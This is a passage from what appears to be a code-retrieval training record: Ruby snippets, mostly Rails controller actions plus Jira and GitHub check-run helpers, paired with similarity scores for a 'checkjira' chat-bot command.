@lista_institution_select=CulturalHeritage::CulturalInstitution.all\n @security_person=Security::Person.all\n @care_and_maintenance_experts=User.find(:all,:conditions=>[\"role = ?\",@@exp_inc_roles])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @cultural_heritage_care_and_maintenances }\n end\n end",
"def convidar\n @compra = Compra.find(params[:compra_id])\n\n if params[:user_select]\n user_select = params[:user_select]\n\n user = User.find_by_nome(user_select.split(\" - \").first)\n\n if(current_user != user && !@compra.users.where(:id => user.id).present?)\n @compra.users << user\n\n redirect_to compra_produtos_path(@compra), notice: \"#{user.nome.upcase} adicionado a sua lista de compras com sucesso!!\"\n else\n redirect_to compra_produtos_path(@compra), alert: \"#{user.nome.upcase} você já pertence a essa lista.\"\n end\n end\n end",
"def index\n #@detalhes_equipamentos = DetalhesEquipamento.all\n #@q = DetalhesEquipamento.ransack(params[:q])\n @detalhes_equipamentos = DetalhesEquipamento.accessible_by(current_ability).order('modelo ASC')\n end",
"def productos_usuario\n usuario = Usuario.find(params[:usuario])\n flash[:title] = \"Productos de #{usuario.compania}\"\n @productos = Producto.where(:usuario_id => usuario.id)\n @marcas = get_marcas(@productos)\n flash[:productos] = []\n 4.times { flash[:productos].push(@productos) }\n @producto = Producto.new\n render \"index\"\n end",
"def create\n @mazo = Mazo.new(params[:mazo])\n @mazo.user_id=current_user.id\n @mazo.coleccion_id=session[:coleccion_id]\n respond_to do |format|\n if @mazo.save\n update_menu_colecciones\n format.html { redirect_to(@mazo, :notice => 'Mazo was successfully created.') }\n format.xml { render :xml => @mazo, :status => :created, :location => @mazo }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @mazo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def change_users_list\n @role = Role.find(params[:id])\n user = User.find(params[:user_id])\n mode = params[:mode]\n \n if mode == \"add_user\"\n @role.users << user if user\n else\n @role.users.delete(user) if user\n end\n \n @role.reload\n render :partial => 'user_select_boxes'\n end",
"def set_unidad\n @unidad = Unidad.find(params[:id])\n end",
"def index\n if !params[:orgao_id].blank? && current_user.admin\n @orgao_impressoras = OrgaoImpressora.where(orgao_id: params[:orgao_id])\n elsif current_user.admin\n @orgao_impressoras = OrgaoImpressora.all\n else\n @orgao_impressoras = OrgaoImpressora.where(orgao_id: current_user.orgao_id)\n end\n end",
"def excluir_filtro(nome_filtro)\n\n @tamanho_lista = excluir_filtro_btns.size\n @indice = 0\n\n while(@indice < @tamanho_lista)\n\n puts @tamanho_lista\n puts linhas_registros_tds[@indice].text\n\n if(linhas_registros_tds[@indice].text == \"filtro_automacao\")\n excluir_filtro_btns[@indice].click\n @indice = @tamanho_lista\n end\n\n @indice += 1\n\n end \n\n end",
"def index\n @ujumbes = Ujumbe.all.order('id DESC')\n @ujumbe = current_user.ujumbes.build if current_user\n @user = current_user\n end",
"def index\n if logged_in? && current_user.cliente.estoque_mp == \"Sim\"\n @materiaprimas = Materiaprima.where(cliente_id: current_user.cliente_id)\n else\n redirect_to root_path\n flash[:danger] = \"Você precisa estar logado para realizar essa ação.\"\n end\n end",
"def items\n load_selection\n import_selection or render_select\n end",
"def on_context_item_selected(mi) # not yet used\n pos = mi.menu_info.position\n\n case mi.title.to_s\n when \"Edit\"\n edit @scripts_list[pos]\n when \"Execute\"\n begin\n execute IO.read(@scripts_list[pos]), \"[Running #{@scripts_list[pos]}]\"\n rescue\n toast \"#{@scripts_list[pos]} not found!\"\n end\n when \"Delete\"\n @confirm_delete = @scripts_list[pos]\n AlertDialog::Builder.new(@ruboto_java_instance).\n setMessage(\"Delete #{@confirm_delete}?\").\n setCancelable(false).\n setPositiveButton(\"Yes\", (proc{|d,w| my_dialog_click(d,w)})).\n setNegativeButton(\"No\", (proc{|d,w| my_dialog_click(d,w)})).\n create.\n show\n end\n\n true\n end",
"def index\n @permisos = Permiso.all\n end",
"def set_permissao\n @permissao = Permissao.find(params[:id])\n end",
"def check_permissions\n\n case params[:action]\n when 'new'\n @item = @model.new\n action = \"add\" unless can_add? @item\n when 'edit'\n action = \"edit\" unless can_edit? @item\n when 'destroy'\n action = \"destroy\" unless can_destroy? @item\n when 'toggle'\n action = \"toogle\" unless can_toggle? @item\n end\n\n if action\n flash[:notice] = \"You can't #{action} a #{@item.class.to_s.titleize}.\"\n redirect_to :controller => 'typus', :action => 'index', :model => params[:model]\n end\n\n end",
"def set_selecionado\n @selecionado = Selecionado.find(params[:id])\n end",
"def set_listado\n @listado = Listado.find(params[:id])\n end",
"def set_municao\n @municao = Municao.find(params[:id])\n end",
"def excluir_destinatario\n sleep(0.5)\n excluir_destinatrio_btn.click\n sleep(0.5)\n confirmacao_exclusao_ok.click\n end",
"def index\n @cuarteles = Cuartel.select(:id, :nombre).order(:nombre)\n\n # Control de los botones activos\n @gu_active = ''\n @rm_active = ''\n @cuarteles_active = 'active'\n end",
"def select\n new_list = TodoList.new(\"Selected Items\")\n\n each do |todo|\n new_list.add(todo) if yield(todo)\n end\n new_list\n end",
"def update\n seleccionarMenu(:juzgados)\n @juzgado = Juzgado.find(params[:id])\n\n respond_to do |format|\n if @juzgado.update_attributes(params[:juzgado])\n format.html { redirect_to @juzgado, notice: 'Juzgado fue actualizado satisfactoriamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @juzgado.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_permissao\n @permissao = Permissao.find(params[:id])\n end",
"def set_permissao\n @permissao = Permissao.find(params[:id])\n end",
"def aniade_taxones_seleccionados\n notice = if params[:especies].present?\n @listas.each do |lista|\n lista = Lista.find(lista)\n lista.cadena_especies.present? ? lista.cadena_especies+= ',' + params[:especies].join(',') :\n lista.cadena_especies = params[:especies].join(',')\n lista.save\n end\n 'Taxones incluidos correctamente.'\n else\n 'Debes seleccionar por lo menos una lista y un taxon para poder incluirlo.'\n end\n\n redirect_to :back, :notice => notice\n end",
"def select\n # new_list = TodoList.new(\"Selected Todos\")\n new_list = TodoList.new(title) # should probably keep the original title\n self.each do |todo| # don't need to use 'self.each' here (just use 'each')\n new_list.add(todo) if yield(todo)\n end\n new_list # rtn a TodoList obj\n end",
"def agregar_estudiante_a_seccion\n \n if __es_del_grupo_docente && params[:id] && __es_numero_entero?(params[:id]) && SeccionSitioWeb.where(:id => params[:id]).size > 0\n @seccion = \"estudiantes\"\n @seccion_sitio_web = SeccionSitioWeb.where(:id => params[:id]).first\n @cedulas = Usuario.order(\"cedula\").where(:id => Estudiante.all).collect{ |x| x.cedula.to_s}.uniq\n return\n end\n\n redirect_to :asignatura_nombre => @sitio_web.nombre_url, :semestre => @sitio_web.periodo, :controller => \"estudiantes\", :action => \"index\"\n return\n end",
"def index\r\n @sivic_userpermissaos = SivicUserpermissao.all\r\n end",
"def index\n if current_user.rol == 1\n @brands = Brand.order(:id)\n @brand = Brand.new\n else\n @mensaje = \"Seccion exclusiva para administrador\"\n end\n\n #Borrado del producto que lleva en aviso mas de dos días\n\n end",
"def index\n authorize! :ver, UsuarioPrestamo.new\n @usuarios_prestamos = UsuarioPrestamo.all\n @alumnos = UsuarioPrestamo.where(:categoria => UsuarioPrestamo.categorias[:alumno])\n @profesores = UsuarioPrestamo.where(:categoria => UsuarioPrestamo.categorias[:profesor])\n @personal = UsuarioPrestamo.where(:categoria => UsuarioPrestamo.categorias[:personal])\n end",
"def index\n # Filtro: solo veo mis procesos.\n if !params[:selection_process_id].blank? && !current_user.is_admin?\n @categories = Category.where(selection_process_id: @selection_process.id)\n else\n @categories = Category.all if current_user.is_admin?\n end\n end",
"def set_mundo\n @mundo = Mundo.find(params[:id])\n end",
"def editSelected\n \n on_menu_ids = params[:on_menu_ids]\n @restaurantId = params[:restaurantId]\n if(on_menu_ids == nil) then\n on_menu_ids = []\n end\n off_menu_ids = params[:off_menu_ids]\n if(off_menu_ids == nil) then\n off_menu_ids = []\n end\n all_ids = on_menu_ids.concat(off_menu_ids)\n @foods_to_edit = Food.find(all_ids, :order => 'on_menu')\n end",
"def verificar_permiso\n if user_signed_in?\n unless current_user.employee.nil?\n @existe_permiso = false\n current_user.employee.security_profile.security_role.security_role_menus.each do |security_role_menu|\n if security_role_menu.security_menu.controller == params[:controller] \n @existe_permiso = true\n break\n elsif params[:controller] == \"service/services\" and session[:atender] == true\n @existe_permiso = true\n end\n if params[:controller] == \"security/role_type_menus\" || params[:controller] == \"security/role_menus\"\n @existe_permiso = true\n end\n end\n if current_user.username == \"aadmin\"\n @existe_permiso = true\n end\n if @existe_permiso == false\n redirect_to root_path\n end\n end\n end\n end",
"def load_data\n if action_name == \"index\"\n @todos = Todo.where(\"project_id IN(?)\", current_user.projects.pluck(:id))\n elsif action_name == \"assign_developer\"\n @projects = current_user.projects\n @project = params[:project_id].present? ? Project.find(params[:project_id]) : @projects.first\n @todos = @project.unassigned_todos\n end\n\n begin\n @todo = Todo.find(params[:id] || params[:todo_id])\n rescue Exception => e\n @todo = @todos.first\n end\n \n end",
"def set_leccion_hiragana\n @leccion_hiragana = LeccionHiragana.find(params[:id])\n end",
"def crear\n if user_signed_in?\n unless current_user.employee.nil?\n @permiso_crear = false\n @security_role_type = Security::RoleType.find_by(name: \"Crear\").name\n current_user.employee.security_profile.security_role.security_role_menus.each do |security_role_menu| \n if security_role_menu.security_menu.controller == params[:controller] \n security_role_menu.security_role_type_menus.each do |role_type| \n if @security_role_type == role_type.security_role_type.name\n @permiso_crear = true\n break\n end\n end\n elsif params[:controller] == \"security/role_type_menus\"\n params[:controller] = \"security/roles\"\n if security_role_menu.security_menu.controller == params[:controller] \n security_role_menu.security_role_type_menus.each do |role_type|\n if @security_role_type == role_type.security_role_type.name\n @permiso_crear = true\n break\n end\n end\n end\n end\n end\n if current_user.username == \"aadmin\"\n @permiso_crear = true\n end\n if params[:action] == \"new\" && @permiso_crear == false\n redirect_to root_path\n end\n return @permiso_crear\n end\n end\n end",
"def producir_yo_mismo\n self.getBoton_producir_yo_mismo().click\n # TO DO Ver de Bloquear hasta que no finalice la ejecución del submit\n end",
"def handle_todos\n yield\n\n if has_todo\n existing_todo_user_ids = todos.pluck(:user_id)\n course_users = CourseUser.where(course_id: course_id).where.not(user_id: existing_todo_user_ids)\n Course::LessonPlan::Todo.create_for!(self, course_users)\n else\n todos.not_started.not_ignored.delete_all\n end\n end",
"def index\n @coleccion = DetallePedido.all\n end",
"def mark_done\n choose do |menu|\n menu.prompt = \"What have you completed?\"\n Toodoo::Item.where{:todo_id => todo.id, finished => false}.each do |x|\n menu.choice(x.item, \"Choose this task\"){x.update(finished => true)}\n x.save\n end\n menu.choice(:back)\n end\n\n def change_due_date\n # TODO: This should display the todos on the current list in a menu\n # similarly to pick_todo_list. Once they select a todo, the menu choice block\n # should update the due date for the todo. You probably want to use\n # `ask(\"foo\", Date)` here.\n end\n\n def edit_task\n choose do |menu|\n menu.prompt = \"What item would you like to edit?\"\n Toodoo::Item.wehere{:list_id => list_id, finished => false}.each do |x|\n menu.choice(x.item, \"Edit this task\") {x.update(item: get_new_item)}\n x.save\n end\n end\n end\n\n def show_overdue\n # TODO: This should print a sorted list of todos with a due date *older*\n # than `Date.now`. They should be formatted as follows:\n # \"Date -- Eat a Cookie\"\n # \"Older Date -- Play with Puppies\"\n end\n\n def run\n puts \"Welcome to your personal TooDoo app.\"\n loop do\n choose do |menu|\n menu.layout = :menu_only\n menu.shell = true\n\n # Are we logged in yet?\n unless @user\n menu.choice(:new_user, \"Create a new user.\") { new_user }\n menu.choice(:login, \"Login with an existing account.\") { login }\n end\n\n # We're logged in. Do we have a todo list to work on?\n if @user && !@todos\n menu.choice(:delete_account, \"Delete the current user account.\") { delete_user }\n menu.choice(:new_list, \"Create a new todo list.\") { new_todo_list }\n menu.choice(:pick_list, \"Work on an existing list.\") { pick_todo_list }\n menu.choice(:remove_list, \"Delete a todo list.\") { delete_todo_list }\n end\n\n # Let's work on some todos!\n if @todos\n menu.choice(:new_task, \"Add a new task.\") { new_task }\n menu.choice(:mark_done, \"Mark a task finished.\") { mark_done }\n menu.choice(:move_date, \"Change a task's due date.\") { change_due_date }\n menu.choice(:edit_task, \"Update a task's description.\") { edit_task }\n menu.choice(:show_done, \"Toggle display of tasks you've finished.\") { @show_done = !!@show_done }\n menu.choice(:show_overdue, \"Show a list of task's that are overdue, oldest first.\") { show_overdue }\n menu.choice(:back, \"Go work on another Toodoo list!\") do\n say \"You got it!\"\n @todos = nil\n end\n end\n\n menu.choice(:quit, \"Quit!\") { exit }\n end\n end\n end\nend",
"def agregarMetodos unaClase\n self.metodos.each do |metodo|\n self.agregar_metodo(unaClase,metodo[0],&metodo[1])\n end\n end",
"def destroy\n if @mensagem.all\n get_all_mensagem('sistema')\n else \n get_all_mensagem\n end \n @mensagem.destroy\n render 'mensagems/admin/admin' \n end",
"def index\n @usuario = Usuario.new\n crm = Integer(params[:CRM_ou_nome]) rescue nil\n\n @medicos = if !params.include? :CRM_ou_nome\n todos_os_medicos = true\n\n Medico.all\n elsif crm.nil?\n nome = I18n.transliterate(params[:CRM_ou_nome]).downcase\n\n Medico.where(\"nome_pesquisavel like ?\", \"%#{nome}%\")\n else\n Medico.where CRM: crm.to_s\n end\n\n numero_medicos = @medicos.clone.size # Tem que ser clonado porque o size executa a query\n\n if numero_medicos == 0 && todos_os_medicos\n respond_to do |format|\n format.html { render \"nenhum_medico\" }\n format.json { @medicos = []; @num_paginas = 0 }\n end\n else\n limit = Integer(params[:registros_pagina]) rescue nil\n num_pagina = Integer(params[:num_pagina]) rescue nil\n offset = !num_pagina.nil? ? limit * (num_pagina - 1) : 0\n\n respond_to do |format|\n format.html { limit = 10 if limit.nil? }\n format.json { limit = numero_medicos if limit.nil? }\n end\n\n # TODO: Mandar para SQL\n @medicos.sort! do |a, b|\n cmp_atraso = b.atraso_medio <=> a.atraso_medio\n\n cmp_atraso == 0?\n a.nome_pesquisavel <=> b.nome_pesquisavel : cmp_atraso\n end\n @medicos = @medicos[offset..offset + limit - 1]\n @medicos.map! do |m|\n {\n medico: m,\n atraso_medio: m.atraso_medio,\n numero_consultas: m.numero_consultas\n }\n end\n\n limit = Float(limit.nil?? numero_medicos : limit)\n\n @num_paginas = if numero_medicos == 0\n 0\n else\n (numero_medicos / limit).ceil\n end\n end\n end",
"def index\n if current_cuentum.email == \"admin@admin.com\"\n @usuarios = Usuario.all\n @div_admin = true\n end\n @usuariosAux = Usuario.all\n @cuentas = Cuentum.all\n @usuariosAux.each do |u| \n if cuentum_signed_in? && current_cuentum.id == u.cuenta_id\n if u.rol == \"ADMINISTRADOR\"\n @usuarios = @usuariosAux\n @div_admin = true\n end\n if u.rol == \"USUARIO\" || u.rol == \"OPERARIO\"\n @usuarios = []\n @usuarios << u\n end\n end\n end\n end",
"def selecionar_opcao\n btn_metro.click\n btn_bicicletario_vaga_verde.click\n foco(btn_vacinacao)\n end",
"def index\n seleccionarMenu(:juzgados)\n @juzgados = Juzgado.order(:ciudad_id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @juzgados }\n end\n end",
"def menu\n ([[0, 'Choisir l’icarien…']] + User.values_select(type_icarien => true)).in_my_select(id: 'opuser_user_id', name: 'opuser[user_id]', selected: param_opuser[:user_id])\n end",
"def items_menu(**opt)\n unless administrator?\n hash = opt[:constraints]&.dup || {}\n user = hash.extract!(:user, :user_id).compact.values.first\n org = hash.extract!(:org, :org_id).compact.values.first\n if !user && !org && (user = current_user).present?\n added = (org = user.org) ? { org: org } : { user: user }\n opt[:constraints] = added.merge!(hash)\n end\n end\n opt[:sort] ||= { id: :asc }\n super(**opt)\n end",
"def index\n @tema_modulos = TemaModulo.all\n end",
"def items_menu(**opt)\n unless administrator?\n hash = opt[:constraints]&.dup || {}\n user = hash.extract!(:user, :user_id).compact.values.first\n org = hash.extract!(:org, :org_id).compact.values.first\n if !user && !org && (user = current_user).present?\n added = (org = user.org) ? { org: org } : { user: user }\n opt[:constraints] = added.merge!(hash)\n end\n end\n opt[:sort] ||= { id: :desc } if administrator? || manager?\n super(**opt)\n end",
"def create\n @imovel = Imovel.new(params[:imovel])\n \n @imovel.attributes = {:cadastrado_por_id => current_user.id} \n @imovel.attributes = {:ativo => true}\n \n if has_role?(current_user, 'corretor')\n @imovel.attributes = {:ativo => false}\n end\n \n gerar_codigo_referencia\n \n # arranjo temporario porque não tá cadastrando com nome quando é terreno\n if @imovel.imovel_tipo_id==4\n @imovel.attributes = {:nome => \"TERRENO LOCALIZADO: \"+@imovel.localizacao}\n end\n \n if @imovel.imovel_tipo_id==4\n @imovel.attributes = {:quartos => '0'}\n @imovel.attributes = {:suites => '0'}\n @imovel.attributes = {:vagas => '0'}\n @imovel.attributes = {:imovel_detalhe_ids => []}\n end\n \n respond_to do |format|\n if @imovel.save\n format.html { redirect_to @imovel, notice: 'Imovel foi cadastrado com sucesso.' }\n format.json { render json: @imovel, status: :created, location: @imovel }\n else\n format.html { render action: \"new\" }\n format.json { render json: @imovel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def eliminar_estudiante_seccion_sitio_web\n if __es_del_grupo_docente\n @sitio_web = SitioWeb.sitio_actual(params[:asignatura_nombre],params[:semestre])\n #Primero se verifica que se enviaron datos a través de un formulario\n #Para esto basta con probar que la variable params[:estudiantes] existe\n unless params[:id] && __es_numero_entero?(params[:id]) && SeccionSitioWeb.where(:id => params[:id]).size > 0\n flash[:error] = \"Disculpe, no se pudo eliminar a los estudiantes seleccionados\"\n redirect_to :asignatura_nombre => @sitio_web.nombre_url, :semestre => @sitio_web.periodo, :controller => \"estudiantes\", :action => \"index\"\n return\n end\n seccion_sitio_web = SeccionSitioWeb.find(params[:id])\n\n unless params[:seccion_sitio_web] && params[:seccion_sitio_web][\"cantidad_#{seccion_sitio_web.id}\"]\n flash[:error] = \"Disculpe, no se especificó un estudiante. Inténtelo nuevamente.\"\n redirect_to :asignatura_nombre => @sitio_web.nombre_url, :semestre => @sitio_web.periodo, :controller => \"estudiantes\", :action => \"index\"\n return\n end\n\n #Esta variable almacenara cuantos estudiantes (checkboxs) existian en el formulario\n cant = params[:seccion_sitio_web][\"cantidad_#{seccion_sitio_web.id}\"].to_i\n\n #se itera sobre cada posible estudiante eliminando el que haya sido seleccionado\n for i in 1..cant do\n #En rails solo los checkbox seleccionados son enviados por parametro al servidor, por lo que\n #si el parametro existe, entonces fue seleccionado y por ende debe ser eliminado\n if id = params[\"check_box_estudiante_seccion_#{seccion_sitio_web.id}_\"+i.to_s]\n estudiante_seccion_sitio_web = EstudianteSeccionSitioWeb.where(:estudiante_id => id, \n :seccion_sitio_web_id => seccion_sitio_web.id).first\n estudiante_seccion_sitio_web.destroy\n end\n end\n\n flash[:exito] = \"Se eliminaron los estudiantes seleccionados exitosamente.\" \n redirect_to :asignatura_nombre => @sitio_web.nombre_url, :semestre => @sitio_web.periodo, :controller => \"estudiantes\", :action => \"index\"\n return\n end\n redirect_to :asignatura_nombre => @sitio_web.nombre_url, :semestre => @sitio_web.periodo, :controller => \"estudiantes\", :action => \"index\"\n return\n end",
"def editar_filtro(nome_filtro)\n\n @tamanho_lista = editar_btns.size\n @indice = 0\n\n while(@indice < @tamanho_lista)\n\n puts @tamanho_lista\n puts linhas_registros_tds[@indice].text\n\n if(linhas_registros_tds[@indice].text == \"filtro_automacao\")\n editar_btns[@indice].click\n @indice = @tamanho_lista\n end\n\n @indice += 1\n\n end \n\n end",
"def index\n if !params[:orgao_id].blank? && current_user.admin\n @treinamentos_ti = TreinamentoTi.where(orgao_id: params[:orgao_id])\n elsif current_user.admin\n @treinamentos_ti = TreinamentoTi.all\n else\n @treinamentos_ti = TreinamentoTi.where(orgao_id: current_user.orgao_id)\n end \n #@treinamentos_ti = TreinamentoTi.all\n end"
] |
[
"0.60304195",
"0.5563668",
"0.5520838",
"0.55039513",
"0.54616994",
"0.5419574",
"0.5382897",
"0.53623044",
"0.53151214",
"0.53027296",
"0.5270561",
"0.52387244",
"0.52054787",
"0.5200205",
"0.51983345",
"0.5198257",
"0.5197056",
"0.5185644",
"0.5185644",
"0.51443225",
"0.5124891",
"0.5110887",
"0.50880927",
"0.5085615",
"0.50854886",
"0.50800854",
"0.50789994",
"0.5078635",
"0.50701004",
"0.50641084",
"0.5055175",
"0.50529045",
"0.50489956",
"0.5042295",
"0.50327927",
"0.5028117",
"0.50277555",
"0.50227517",
"0.5010712",
"0.50062406",
"0.50035685",
"0.49832508",
"0.49601778",
"0.4953358",
"0.4946539",
"0.4938703",
"0.4930369",
"0.49297142",
"0.4926503",
"0.49262273",
"0.49254414",
"0.49194375",
"0.4909018",
"0.49022844",
"0.49014124",
"0.4894629",
"0.48933873",
"0.48886994",
"0.48867613",
"0.48806974",
"0.48788154",
"0.4876188",
"0.4875918",
"0.48726532",
"0.48653892",
"0.48624447",
"0.48601755",
"0.48570162",
"0.48470852",
"0.48470852",
"0.48447967",
"0.4844664",
"0.48361564",
"0.4834826",
"0.48329607",
"0.4829765",
"0.48272222",
"0.48232624",
"0.48106125",
"0.48056063",
"0.47992626",
"0.4795399",
"0.47941133",
"0.47935233",
"0.47898448",
"0.47896045",
"0.47895223",
"0.4784773",
"0.47799966",
"0.4779844",
"0.47777447",
"0.4777404",
"0.47770715",
"0.47770053",
"0.47703022",
"0.47692585",
"0.47668526",
"0.47642538",
"0.47521698",
"0.47504404",
"0.47438434"
] |
0.0
|
-1
|
respond to checkjira command same as interval except we answer with 'no issues found' if there are no issues
|
def checkjira_command(msg)
begin
msg.speak "no new issues since I last checked #{@lastlast} ago" \
if !check_jira(msg)
rescue
msg.speak "sorry, we had trouble connecting to JIRA."
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_jira_deploy_task\n jira_search_url = 'https://projects.engineering.redhat.com/rest/api/2/search'\n jira_query = \"Project = ERRATA AND Type = Task AND labels = pntdevops-sysops-deploy ORDER BY updated Desc\"\n response_json = %x{ curl -s -H \"Content-Type: application/json\" \\\n \"#{jira_search_url}?jql=#{CGI.escape(jira_query)}&maxResults=1\" }\n response = JSON.load(response_json)\n raise \"Query returned no issues, aborting. Query: #{jira_query} Response: #{response}\" if response_json.blank? || response['issues'].blank?\n response['issues'].first\nend",
"def add_jira_tickets_to_omnifocus ()\n # Get the open Jira issues assigned to you\n results = Issue.query_results\n if results.nil?\n puts \"No results from Jira\"\n exit\n end\n puts \"\\\"#{QUERY}\\\" returned #{results.size} results from #{JIRA_BASE_URL}\"\n\n # Iterate through resulting issues.\n results.each do |jira_id, issue|\n jira_issues[jira_id] = issue # cache results\n add_task(issue)\n end\nend",
"def report_check_run_failure\n data = params\n check_run = data[:check_run]\n check_run_status = check_run[:status]\n sha = check_run[:head_sha]\n workflow_name = check_run[:name]\n conclusion = check_run[:conclusion]\n check_run_url = check_run[:html_url]\n check_suite = check_run[:check_suite]\n app_name = check_run[:app][:name]\n details_url = check_run[:details_url]\n pull_requests = check_suite[:pull_requests]\n pull_request = pull_requests[0]\n branch = check_suite[:head_branch]\n repository = data[:repository]\n repo_name = repository[:name]\n repo_url = repository[:html_url]\n sender_login = data[:sender][:login]\n pr_number = pull_request[:number] if pull_request.present?\n branch_path = ''\n branch_path = \"/tree/#{branch}\" if branch != 'master'\n\n # We are only interested in completed non-success\n return if check_run_status != 'completed' || conclusion == 'success'\n\n message = \"[ [#{repo_name}](#{repo_url}) ]\"\n message += if app_name == 'GitHub Actions'\n \" GitHub Action workflow [#{workflow_name}](#{check_run_url}):\"\n else\n \" Check run [#{workflow_name}](#{check_run_url}):\"\n end\n message += if pull_request.present?\n \" [#{conclusion}](#{repo_url}/pull/#{pr_number}/checks?sha=#{sha})\"\n else\n \" [#{conclusion}](#{details_url})\"\n end\n message += \" on [#{sha.first(7)}](#{repo_url}/commit/#{sha.first(10)})\"\n message += \" by #{sender_login}\" if sender_login.present?\n message += \" in the [#{branch}](#{repo_url}#{branch_path}) branch\" if branch.present?\n message += \" for [PR ##{pr_number}](#{repo_url}/pull/#{pr_number})\" if pull_request.present?\n\n # We don't want to send more than one message for this workflow & sha with the same conclusion within 20 minutes.\n # This counter expires from Redis in 20 minutes.\n ci_counter = Redis::CI.new(\"check_run_#{workflow_name}_#{conclusion}_#{sha}\")\n ci_counter.sucess_count_incr\n ActionCable.server.broadcast 'smokedetector_messages', message: message if ci_counter.sucess_count == 1\n end",
"def fetch_jira_poll_url()\n\n jiraconfig = bot.config['jira_poll_url']\n\n if jiraconfig.is_a?(Array)\n searchurls_str = jiraconfig \n else \n searchurls_str = [jiraconfig]\n end\n\n tix = []\n\n searchurls_str.each do |searchurl_str|\n begin\n @log.info \"checking jira for new issues... #{searchurl_str}\"\n\t# jira_poll_url: \"http://username:password@www.host.com/jira/sr/jira.issueviews:searchrequest-xml/temp/SearchRequest.xml?jqlQuery=project+%3D+OPS+ORDER+BY+updated+DESC%2C+priority+DESC%2C+created+ASC&tempMax=25&field=key&field=link&field=title&field=reporter&field=assignee&field=type&field=priority&field=updated\"\n searchurl = Addressable::URI.parse(searchurl_str)\n @log.debug pp lookupurl.to_hash\n xmldata = open(searchurl.omit(:user, :password), \\\n :http_basic_authentication=>[searchurl.user, searchurl.password]).read\n doc = REXML::Document.new(xmldata)\n raise Exception.new(\"response had no content\") if doc.nil?\n doc.elements.inject('rss/channel/item', tix) do |tix, element|\n tix.push(parse_ticket_info(element))\n end\n rescue Exception => e\n @log.error \"error connecting to jira: #{e.message}\"\n # @log.error \"#{e.backtrace}\"\n end\n end\n return tix\n end",
"def get_issues\n jira_issues = Hash.new\n # This is the REST URL that will be hit. Change the jql query if you want to adjust the query used here\n uri = URI(JIRA_BASE_URL + '/rest/api/2/search?jql=assignee+%3D+currentUser()+AND+status+not+in+(Closed,+Resolved)')\n\n Net::HTTP.start(uri.hostname, uri.port, :use_ssl => uri.scheme == 'https') do |http|\n request = Net::HTTP::Get.new(uri)\n request.basic_auth USERNAME, PASSWORD\n response = http.request request\n # If the response was good, then grab the data\n if response.code =~ /20[0-9]{1}/\n data = JSON.parse(response.body)\n data[\"issues\"].each do |item|\n jira_id = item[\"key\"]\n jira_issues[jira_id] = item[\"fields\"][\"summary\"]\n end\n else\n raise StandardError, \"Unsuccessful response code \" + response.code + \" for issue \" + issue\n end\n end\n return jira_issues\nend",
"def get_issues(label='',mode)\n debug_msg(\"get_issues: #{label}\",3)\n case mode\n when 'inclusive'\n uri = URI.parse(JIRA_BASE_URL + \"/rest/api/2/search?jql=assignee+%3D+currentUser()+AND+status+not+in+(Closed,+Resolved)+AND+labels+in(#{label})\")\n debug_msg(uri,9)\n when 'exclusive'\n uri = URI.parse(JIRA_BASE_URL + \"/rest/api/2/search?jql=assignee+%3D+currentUser()+AND+status+not+in+(Closed,+Resolved)+AND+labels+not+in(#{label})\")\n debug_msg(uri,9)\n else\n raise StandardError \"mode has an unsupported value: #{mode}. should be 'inclusive' or 'exclusive'\"\n end\n jira_issues = Hash.new\n j_issue = Hash.new\n # This is the REST URL that will be hit. Change the jql query if you want to adjust the query used here\n # uri = URI.parse(JIRA_BASE_URL + \"/rest/api/2/search?jql=assignee+%3D+currentUser()+AND+status+not+in+(Closed,+Resolved)+AND+labels+in(#{label})\")\n\n Net::HTTP.start(uri.hostname, uri.port, :use_ssl => uri.scheme == 'https') do |http|\n request = Net::HTTP::Get.new(uri.request_uri)\n debug_msg(request,10)\n request.basic_auth(\"#{USERNAME}\", \"#{PASSWORD}\")\n response = http.request (request)\n debug_msg(response,10)\n # If the response was good, then grab the data\n if response.code =~ /20[0-9]{1}/\n data = JSON.parse(response.body)\n debug_msg(\"DATA: #{data}\",9)\n data[\"issues\"].each do |item|\n debug_msg(\"ITEM: #{item}\",10)\n jira_id = item[\"key\"]\n j_id = item['key']\n j_issue[j_id] = Hash.new\n j_issue[j_id]['status'] = item['fields']['status']['name']\n j_issue[j_id]['summary'] = item['fields']['summary']\n# p item\n# p \"-----------------------------------------\"\n# binding.pry;\n summary_status = '[' + item['fields']['status']['name']+ '] '+item['fields']['summary']\n# jira_issues[jira_id] = item['fields']['summary']\n# jira_issues[jira_id] = item['fields']['status']['name']\n# jira_issues[jira_id].['summary'] = item['fields']['summary']\n# jira_issues[jira_id].['status'] = item['fields']['status']['name']\n jira_issues[jira_id] = item['fields']['summary']\n\n # binding.pry;\n end\n else\n raise StandardError, \"Unsuccessful response code \" + response.code + \" for #{label} \"\n end\n end\n #return jira_issues\n return j_issue\nend",
"def report_check_suite_success\n data = params\n check_suite = data[:check_suite]\n conclusion = check_suite[:conclusion]\n branch = check_suite[:head_branch]\n pull_requests = check_suite[:pull_requests]\n pull_request = pull_requests[0]\n sha = check_suite[:head_sha]\n check_suite_status = check_suite[:status]\n repository = data[:repository]\n repo_name = repository[:name]\n repo_url = repository[:html_url]\n app_name = check_suite[:app][:name]\n sender_login = data[:sender][:login]\n pr_number = pull_request[:number] if pull_request.present?\n branch_path = ''\n branch_path = \"/tree/#{branch}\" if branch != 'master'\n\n # We are only interested in completed successes\n return if check_suite_status != 'completed' || conclusion != 'success' || sender_login == 'SmokeDetector'\n\n message = \"[ [#{repo_name}](#{repo_url}) ]\"\n message += \" #{app_name}:\"\n message += if pull_request.present?\n \" [#{conclusion}](#{repo_url}/pull/#{pr_number}/checks?sha=#{sha})\"\n else\n \" [#{conclusion}](#{repo_url}/commit/#{sha}/checks)\"\n end\n message += \" on [#{sha.first(7)}](#{repo_url}/commit/#{sha.first(10)})\"\n message += \" by #{sender_login}\" if sender_login.present?\n message += \" in the [#{branch}](#{repo_url}#{branch_path}) branch\" if branch.present?\n message += \" for [PR ##{pr_number}](#{repo_url}/pull/#{pr_number})\" if pull_request.present?\n\n # We don't want to send more than one message for this SHA with the same conclusion within 20 